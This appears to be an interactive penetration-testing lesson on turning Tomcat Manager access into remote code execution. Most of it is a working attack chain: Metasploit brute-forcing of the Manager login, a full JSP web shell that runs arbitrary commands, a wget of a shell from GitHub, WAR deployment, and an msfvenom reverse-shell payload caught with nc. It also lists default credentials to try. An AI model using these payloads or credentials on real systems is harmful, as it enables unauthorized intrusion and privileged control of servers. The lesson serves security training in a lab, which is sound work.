Tomcat Manager to RCE: WAR File Upload in Five Steps

0s8 min★ 40 XP

Lesson 8Interactive lesson

Tomcat Manager to RCE: WAR File Upload in Five Steps

A structured lesson workspace with readable content, hands-on examples, and a clean path to completion.

Lesson format17 sections6 code blocks1 practice itemUpdated Aug 27, 2026

#The Fastest Path from Default Creds to SYSTEM#link

Tomcat sits under High Value Targets in every EyeWitness report I've ever reviewed. Internal assessments especially—multiple instances, weak credentials, running as root or SYSTEM. If you can reach /manager/html with valid creds, you're five steps from code execution.

Step 1: Brute-force the Manager login

Metasploit Tomcat Manager brute force

root@vulnarex:~#msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local

root@vulnarex:~#msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180

root@vulnarex:~#msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true

root@vulnarex:~#msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.129.201.58

root@vulnarex:~#msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

Step 2: Create a JSP web shell

java

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while (disr != null) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML>

Step 3: Package as WAR and deploy

Creating and deploying the WAR file

root@vulnarex:~#wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp

root@vulnarex:~#zip -r backup.war cmd.jsp

Browse to /manager/html, authenticate with tomcat:admin, scroll to Deploy, click Browse, select backup.war, hit Deploy. The application appears in the manager table within seconds.

Step 4: Execute commands

Running commands through the deployed shell

root@vulnarex:~#curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id

Step 5: Alternative with msfvenom reverse shell

Generating a reverse shell WAR

root@vulnarex:~#msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war

Catching the reverse shell

root@vulnarex:~#nc -lnvp 4443

STRICT SECURE AUDIT RULE

Undeploy the application from the Manager GUI when done. This removes both the WAR archive and the extracted directory. Still list the artifact path (/opt/tomcat/apache-tomcat-10.0.10/webapps) in your report.

★ 40 XP

SYNTAX VALIDATION (★ 40 XP)

Type the msfvenom payload name for a JSP reverse shell:

root@vulnarex:~#

Press Enter to submit

Tomcat often runs as SYSTEM on Windows or root on Linux. One WAR upload and you have a privileged foothold. Always check /manager and /host-manager. Always try tomcat:tomcat, admin:admin, tomcat:admin. You'd be shocked how often it works. Go deploy a WAR file on the lab target now.

Lesson completion

Ready to resolve this lesson?

Finish the lesson once you have worked through the material. This awards ★ 40 XP.

Previous lesson

Lesson tools

Workspace

0% read

Lab notes

Notes persist per lesson.

The Fastest Path from Default Creds to SYSTEM

Content

Last updated

August 27, 2026

Agent Setup

Access lesson content programmatically for AI agents, LLMs, and automated pipelines.

Fetch as Markdown (Accept header)

curl -H "Accept: text/markdown" "/api/content/lessons?courseSlug=attacking-common-applications&lessonSlug=08-tomcat-manager-rce&lang=en&format=markdown"

MCP Server Config (mcp.json)

{
  "mcpServers": {
    "vulnarex": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-fetch"],
      "env": { "MCP_FETCH_URL": "https://vulnarex.com" }
    }
  }
}

MCP Server Card/.well-known/mcp.json A2A Agent Card/.well-known/agent-card.json API Catalog/.well-known/api-catalog robots.txt/robots.txt

Laboratory sanity code

Isolate active probes on matched virtual networks and keep execution streams sandboxed.

<%@ page import="java.util.*,java.io.*"%>

</FORM>

<pre>

if (request.getParameter("cmd") != null) {

out.println("Command: " + request.getParameter("cmd") + "<BR>");

Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));

OutputStream os = p.getOutputStream();

InputStream in = p.getInputStream();

DataInputStream dis = new DataInputStream(in);

String disr = dis.readLine();

while (disr != null) {

out.println(disr);

disr = dis.readLine();

}

</pre>

</BODY></HTML>